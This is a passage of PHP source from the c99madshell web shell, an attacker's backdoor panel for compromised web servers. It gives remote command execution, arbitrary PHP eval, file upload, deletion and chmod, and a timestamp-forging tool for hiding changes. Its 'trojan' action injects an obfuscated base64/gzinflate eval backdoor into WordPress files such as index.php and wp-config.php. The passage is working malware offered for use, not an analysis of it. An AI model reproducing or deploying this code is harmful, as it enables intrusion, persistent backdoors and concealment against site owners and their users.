	} elseif($vuln == 'blog_name_sql') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '$blog_name = $wpdb->escape($blog_name);') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'tb_id') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '$tb_id = intval($tb_id);') !== FALSE) {
			return true;
		} else {
			return false;
		}
	}
}
?>
<p align="left"><?php
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = @realpath(".");} elseif(@realpath($d)) {$d = @realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (@is_writable($d))
{
 $wd = TRUE;
 $wdt = "<font color=green>[ ok ]</font>";
 echo "<b><font color=green>".view_perms(@fileperms($d))."</font></b>";
}
else
{
 $wd = FALSE;
 $wdt = "<font color=red>[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = @is_dir($letter.":\");}
  if ($bool)
  {
   $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\")."';document.todo.submit();\">[ ";
   if (strtolower($letter.':') != strtolower($v)) {$letters .= $letter;}
   else {$letters .= "<font color=\"#00FF66\">".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = @realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);

  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if($act == 'patch') {
	$vuln = $wp_act;
	if($vuln == 'xmlrpc1') {
		$content = @implode('', @file($wp_path.'xmlrpc.php'));
		$content = str_replace('\'pingback.ping\' => \'this:pingback_ping\',', '//\'pingback.ping\' => \'this:pingback_ping\',', $content);
		$result = save_file($wp_path.'xmlrpc.php', $content);
	} elseif($vuln == 'xmlrpc2') {
		$content = @implode('', @file($wp_path.'xmlrpc.php'));
		$content = str_replace('\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', $content);
		$result = save_file($wp_path.'xmlrpc.php', $content);
	} elseif($vuln == 'admin_ajax') {
		if(file_exists($wp_path.'wp-includes/pluggable.php')) {
			$content = @implode('', @file($wp_path.'wp-includes/pluggable.php'));
			$content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."
	".'$user_login = $wpdb->escape($user_login); ', $content);
			$result = save_file($wp_path.'wp-includes/pluggable.php', $content);
		}
		if(file_exists($wp_path.'wp-includes/pluggable-functions.php')) {
			$content = @implode('', @file($wp_path.'wp-includes/pluggable-functions.php'));
			$content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."
	".'$user_login = $wpdb->escape($user_login); ', $content);
			$result = save_file($wp_path.'wp-includes/pluggable-functions.php', $content);
		}
	} elseif($vuln == 'blog_name_sql') {
		$content = @implode('', @file($wp_path.'wp-trackback.php'));
		$content = str_replace('if ( is_single() || is_page() )', '$blog_name = $wpdb->escape($blog_name);'."
".'if ( is_single() || is_page() )', $content);
		$result = save_file($wp_path.'wp-trackback.php', $content);
	} elseif($vuln == 'tb_id') {
		$content = @implode('', @file($wp_path.'wp-trackback.php'));
		preg_match('%\$tb_url(\s+)= \$_POST\[\'url\'\];%i', $content, $ret);
		$content = str_replace('$tb_url'.$ret[1].'= $_POST[\'url\'];', '$tb_id = intval($tb_id); '."
".'$tb_url    = $_POST[\'url\'];', $content);
		$result = save_file($wp_path.'wp-trackback.php', $content);
	} else {
		$result = false;
	}
	if(isset($result) && $result) {
		echo('<center><font color="green"><b>Patching OK!!!</b></font></center>');
		echo('<script>document.getElementById(\''.$vuln.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$vuln.'\').disabled=true;</script>');
	} else {
		echo('<center><font color="red"><b>Patching NO!!!</b></font></center>');
	}
	$d = $wp_path;
	$act = 'ls';
}
if($act =='trojan') {
	switch($wp_act) {
		case 'index':			$file = $wp_path.'index.php'; break;
		case 'wp-blog-header':	$file = $wp_path.'wp-blog-header.php'; break;
		case 'wp-config':		$file = $wp_path.'wp-config.php'; break;
		case 'wp-settings':		$file = $wp_path.'wp-settings.php'; break;
		case 'template-loader':	$file = $wp_path.'wp-includes/template-loader.php'; break;
		//case 'template':		$file = $wp_path.'wp-trackback.ph'; break;
	}
	$content = @implode('', @file($file));
	if(@ini_get('allow_url_fopen')==1) {
		$trojan = '<?php if(isset($_GET[\'t\'])){eval(gzinflate(base64_decode(\'XZBBawIxEIXv/RWDLE0CS2JvRZHqYamXlmKXXlaRuiZuaExCErWl9L83uhtZPCXz5ps3LwEAyLypv2ACU3G+GMs1Rhuu5A89eJTD45CM7yIGUuALSn4vpTg5GTi0Wg7ouSihCcGOGEvTzHN3ZFJv+Te1jX1qjA8TRLP1e7H4KBYVas/16+ylQCuK7ttudKpQOAswL8s39kCHiA6WbqkHXZTb3fNoPIJr6BbuD5waqTjOaqMD16FaxeeKHQ++syAdloDYlnurzJZjFL8gyR015cdPhYOTe+wPGx/c1TiHWFnje0IvCklrRK2MT/HJ+O8f\')));} ?>'."
";
	} else {
		$trojan = '<?php if(isset($_GET[\'t\'])){eval(gzinflate(base64_decode(\'XZBBawIxEIXv/RWDLE0CS2JvRZHqYamXlmKXXlaRuiZuaExCErWl9L83uhtZPCXz5ps3LwEAyLypv2ACU3G+GMs1Rhuu5A89eJTD45CM7yIGUuALSn4vpTg5GTi0Wg7ouSihCcGOGEvTzHN3ZFJv+Te1jX1qjA8TRLP1e7H4KBYVas/16+ylQCuK7ttudKpQOAswL8s39kCHiA6WbqkHXZTb3fNoPIJr6BbuD5waqTjOaqMD16FaxeeKHQ++syAdloDYlnurzJZjFL8gyR015cdPhYOTe+wPGx/c1TiHWFnje0IvCklrRK2MT/HJ+O8f\')));} ?>'."
";
	}
	$content = $trojan.$content;
	$result = save_file($file, $content);
	if($result) {
		echo('<center><font color="green"><b>Trojaning OK!!!</b></font></center>');
		echo('<script>document.getElementById(\''.$wp_act.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$wp_act.'\').disabled=true;</script>');
	} else {
		echo('<center><font color="red"><b>Trojaning NO!!!</b></font></center>');
	}
	$d = $wp_path;
	$act = 'ls';
}
if ($act == "mkdir")
{
 if ($mkdir != $d)
 {
  if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  echo "<br><br>";
 }
 $act = $dspact = "ls";
}

if ($act == "d")
{
 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
 else
 {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win)
  {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
 }
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "mkfile")
{
 if ($mkfile != $d)
 {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
 }
 else {$act = $dspact = "ls";}
}

if ($act == "selfremove")
{
 if (($submit == $rndcode) and ($submit != ""))
 {
  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
  else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
 }
 else
 {
  if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  $rnd = rand(0,9).rand(0,9).rand(0,9);
  echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
 }
}
if($act == 'touch') {
	if(is_link($d.$f) || $f == '.' || $f == '..') {
		echo('<font color="red">ONLY FILE AND CATALOGS!!!</font>');
		$act = 'ls';
	} else {
		if(!isset($submit)) {
			$time_array = explode(':',@date("d:m:Y:H:i:s",@filemtime($d.$f)));
		echo("
		<form method=\"POST\">

		<input name='act' type='hidden' value='touch'>
		<input name='f' type='hidden' value='".urlencode($f)."'>
		<input name='d' type='hidden' value='".urlencode($d)."'>
		<input type=submit name=submit value=\"Save\">&nbsp;
		<input type=\"reset\" value=\"Reset\">&nbsp;
		<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br>Current file's time: ".@date("d.m.Y H:i:s", filemtime($d.$f)).'
<br />Set new date:
<select name="day" size="1">');
echo($time_array[0]);
for($i=1;$i<32;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[0]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select>

&nbsp;<b>Month</b>
<select name="month" size="1">
<option value="January" '.(($time_array[1]=='01')?'selected':'').'>January ---(01)</option>
<option value="February" '.(($time_array[1]=='02')?'selected':'').'>February --(02)</option>
<option value="March" '.(($time_array[1]=='03')?'selected':'').'>March ------(03)</option>
<option value="April" '.(($time_array[1]=='04')?'selected':'').'>April --------(04)</option>
<option value="May" '.(($time_array[1]=='05')?'selected':'').'>May ---------(05)</option>
<option value="June" '.(($time_array[1]=='06')?'selected':'').'>June --------(06)</option>
<option value="July" '.(($time_array[1]=='07')?'selected':'').'>July ---------(07)</option>

<option value="August" '.(($time_array[1]=='08')?'selected':'').'>August -----(08)</option>
<option value="September" '.(($time_array[1]=='09')?'selected':'').'>September -(09)</option>
<option value="October" '.(($time_array[1]=='10')?'selected':'').'>October ----(10)</option>
<option value="November" '.(($time_array[1]=='11')?'selected':'').'>November --(11)</option>
<option value="December" '.(($time_array[1]=='12')?'selected':'').'>December --(12)</option>
</select>

&nbsp;<b>Year</b>
<select name="year" size="1">');
echo($time_array[0]);
for($i=1998;$i<2010;++$i) {
	echo('<option value="'.$i.'" '.(($time_array[2]==$i)?' selected':'').'>'.$i.'</option>');
}
echo('</select>

&nbsp;<b>Hour </b>
<select name="chasi" size="1">');
echo($time_array[0]);
for($i=1;$i<60;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[3]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select>

&nbsp;<b>Minute </b>
<select name="minutes" size="1">');
echo($time_array[0]);
for($i=1;$i<60;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[4]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select>

&nbsp;<b>Second </b>
<select name="second" size="1">');
echo($time_array[0]);
for($i=1;$i<60;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[5]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select></form>');
$act = 'ls';
		} else {
	$datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
	$datar = @strtotime($datar);
	if(@touch($d.$f,$datar,$datar)) {
		echo('<center><b><font color=green>Time was been change successfull</font></b></center>');
	} else {
		echo('<center><b><font color=red>Time NOT changed!!!</font></b></center>');
	}
	$act = 'ls';
}
	}
}

if ($act == "search")
{
 echo "<b>Search in file-system:</b><br>";
 if (empty($search_in)) {$search_in = $d;}
 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
 if (!empty($submit))
 {
  $found = array();
  $found_d = 0;
  $found_f = 0;
  $search_i_f = 0;
  $search_i_d = 0;
  $a = array
  (
   "name"=>@$search_name, "name_regexp"=>@$search_name_regexp,
   "text"=>@$search_text, "text_regexp"=>@$search_text_regxp,
   "text_wwo"=>@$search_text_wwo,
   "text_cs"=>@$search_text_cs,
   "text_not"=>@$search_text_not
  );
  $in = array_unique(explode(";",$search_in));
  foreach($in as $v) {c99fsearch($v);}
  if (count($found) == 0) {echo "<b>No files found!</b>";}
  else
  {
   $ls_arr = $found;
   $disp_fullpath = TRUE;
   $act = "ls";
  }
 }
 echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">

<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".@htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".(@$search_text_regexp == 1?" checked":"")."> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".(@$search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".(@$search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive



&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".(@$search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
}
if ($act == "chmod")
{
 $mode = fileperms($d.$f);
 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
 else
 {
  $form = TRUE;
  if (isset($chmod_submit))
  {
	if(empty($hand)) {
	$octet = '0'.base_convert((isset($chmod_o["r"])?1:0).(isset($chmod_o["w"])?1:0).(isset($chmod_o["x"])?1:0).(isset($chmod_g["r"])?1:0).(isset($chmod_g["w"])?1:0).(isset($chmod_g["x"])?1:0).(isset($chmod_w["r"])?1:0).(isset($chmod_w["w"])?1:0).(isset($chmod_w["x"])?1:0),2,8);
	} else {
		if(substr($hand,0,1)==0) { $octet = $hand; } else {$octet = '0'.$hand; }

	}
	if(!isset($recurs)) $recurs = 0;
	if(is_dir($d.$f) && $recurs== 1) {
		$result = setRecursPerm($d.$f,intval($octet,8));
		list($good, $bad) = explode(':', $result);
		echo('<b>Result: <font color="green">'.$good.'=> Success</font>, <font color="red">'.$bad.'=>BAD</font><b><br>');
	} else {
		if (@chmod($d.$f,intval($octet,8))) {
			clearstatcache();
			$act = 'ls';
			$form = FALSE;
			$err = '';
		} else {
			$err = 'Can\'t chmod to '.$octet.'.';
		}
	}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".(isset($err)?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=text name=hand value=\"\"><br />";
   if(is_dir($d.$f)) {
	echo "<input type=checkbox NAME=recurs value=1 checked=\"checked\"> Use recursive<br>";
   }
   echo "<br><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
 }
}
if ($act == "upload") {
	$uploadmess = '';
	if(isset($_FILES['uploadfile']) && !empty($_FILES['uploadfile']['tmp_name'])) {
		$uploadpath = $d;
		$destin = $_FILES['uploadfile']["name"];
		if (!move_uploaded_file($_FILES['uploadfile']['tmp_name'],$uploadpath.$destin)) {$uploadmess .= "<font color=red>Error uploading file ".$_FILES['uploadfile']['name']." (can't copy \"".$_FILES['uploadfile']['tmp_name']."\" to \"".$uploadpath.$destin."\"!</font><br>";} else {
			$uploadmess = '<font color=green>File success uploaded</font>';
		}
	}
	echo "<center><b>".$uploadmess."</b></center>";
	$act = 'ls';
}
if ($act == "delete")
{
 $delerr = "";
 foreach ($actbox as $v)
 {
  $result = FALSE;
  $result = fs_rmobj($v);
  if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
 }
 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
 $act = "ls";
}
if ($act == "cmd")
{
 @chdir($chdir);
 if (!empty($submit))
 {
  echo "<b>Result of execution this command</b>:<br>";
  $olddir = realpath(".");
  @chdir($d);
  $ret = myshellexec($cmd);
  $ret = convert_cyr_string($ret,"d","w");
  if ($cmd_txt)
  {
   $rows = count(explode("
",$ret))+1;
   if ($rows < 10) {$rows = 10;}
   echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  }
  else {echo $ret."<br>";}
  @chdir($olddir);
 }
 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
 echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".@htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
if ($act == "ls")
{
 if (count($ls_arr) > 0) {$list = $ls_arr;}
 else
 {
  $list = array();
  if ($h = @opendir($d))
  {
   while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
   closedir($h);
  }
  else {}
 }
 if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
 else
 {
  //Building array
  $objects = array();
  $vd = "f"; //Viewing mode
  if ($vd == "f")
  {
   $objects["head"] = array();
   $objects["folders"] = array();
   $objects["links"] = array();
   $objects["files"] = array();
   foreach ($list as $v)
   {
    $o = @basename($v);
    $row = array();
    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
    elseif (is_dir($v))
    {
     if (@is_link($v)) {$type = "LINK";}
     else {$type = "DIR";}
     $row[] = $v;
     $row[] = $type;
    }
    elseif(@is_file($v)) {$row[] = $v; $row[] = @filesize($v);}
    $row[] = @filemtime($v);
    if (!$win)
    {
     $ow = @posix_getpwuid(@fileowner($v));
     $gr = @posix_getgrgid(@filegroup($v));
     $row[] = ($ow["name"]?$ow["name"]:@fileowner($v))."/".($gr["name"]?$gr["name"]:@filegroup($v));
    }
    $row[] = @fileperms($v);
    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
    elseif (@is_link($v)) {$objects["links"][] = $row;}
    elseif (@is_dir($v)) {$objects["folders"][] = $row;}
    elseif (@is_file($v)) {$objects["files"][] = $row;}
    $i++;
   }
   $row = array();
   $row[] = "<b>Name</b>";
   $row[] = "<b>Size</b>";
   $row[] = "<b>Modify</b>";
   if (!$win)
  {$row[] = "<b>Owner/Group</b>";}
   $row[] = "<b>Perms</b>";
   $row[] = "<b>Action</b>";
   $parsesort = parsesort($sort);
   $sort = $parsesort[0].$parsesort[1];
   $k = $parsesort[0];
   if ($parsesort[1] != "a") {$parsesort[1] = "d";}
   $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
   $row[$k] .= $y;
   for($i=0;$i<count($row)-1;$i++)
   {
    if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
   }
   $v = $parsesort[0];
   usort($objects["folders"], "tabsort");
   usort($objects["links"], "tabsort");
   usort($objects["files"], "tabsort");
   if ($parsesort[1] == "d")
   {
    $objects["folders"] = array_reverse($objects["folders"]);
    $objects["files"] = array_reverse($objects["files"]);
   }
   $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
   $tab = array();
   $tab["cols"] = array($row);
   $tab["head"] = array();
   $tab["folders"] = array();
   $tab["links"] = array();
   $tab["files"] = array();
   $i = 0;
   foreach ($objects as $a)
   {
    $v = $a[0];
    $o = basename($v);
    $dir = dirname($v);
    if ($disp_fullpath) {$disppath = $v;}
    else {$disppath = $o;}
    $disppath = str2mini($disppath,60);

    $uo = urlencode($o);
    $ud = urlencode($dir);
    $uv = urlencode($v);
    $row = array();
    if ($o == ".")
    {
     $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif ($o == "..")
    {
     $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif (is_dir($v))
    {
     if (is_link($v))
     {
      $disppath .= " => ".readlink($v);
      $type = "LINK";
      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }
     else
     {
      $type = "DIR";
      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
     }
     $row[] = $type;
    }
    elseif(is_file($v))
    {
     $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.ft.value='edit';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>";
     $row[] = view_size($a[1]);
    }
    $row[] = '<a href="#" onclick="document.todo.act.value=\'touch\';document.todo.d.value=\''.$ud.'\';document.todo.f.value=\''.$uo.'\';document.todo.submit();">'.@date("d.m.Y H:i:s",$a[2]).'</a>';
    if (!$win) {$row[] = $a[3];}
     $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
    if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
    else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
    if (@is_dir($v)){$row[] = $checkbox;}
    else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='delete';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">X</a>&nbsp;".$checkbox;}
    if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
    elseif (@is_link($v)) {$tab["links"][] = $row;}
    elseif (@is_dir($v)) {$tab["folders"][] = $row;}
    elseif (@is_file($v)) {$tab["files"][] = $row;}
    $i++;
   }
  }
  //Compiling table
  $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  foreach($table as $row)
  {
   echo "<tr>
";
   foreach($row as $v) {echo "<td>".$v."</td>
";}
   echo "</tr>
";
  }
  echo "</table><hr size=\"1\" noshade><p align=\"right\">

  <script>
  function ls_setcheckboxall(status)
  {
   var id = 0;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = status;
    id++;
   }
  }
  function ls_reverse_all()
  {
   var id = 0;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
    id++;
   }
  }
  </script>
  <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
  echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  echo "</form>";
 }
}
if ($act == "eval")
{
 if (!empty($eval))
 {
  echo "<b>Result of execution this PHP-code</b>:<br>";
  $tmp = ob_get_contents();
  $olddir = realpath(".");
  @chdir($d);
  if ($tmp)
  {
   ob_clean();
   eval($eval);
   $ret = ob_get_contents();
   $ret = convert_cyr_string($ret,"d","w");
   ob_clean();
   echo $tmp;
   if ($eval_txt)
   {
    $rows = count(explode("
",$ret))+1;
    if ($rows < 10) {$rows = 10;}
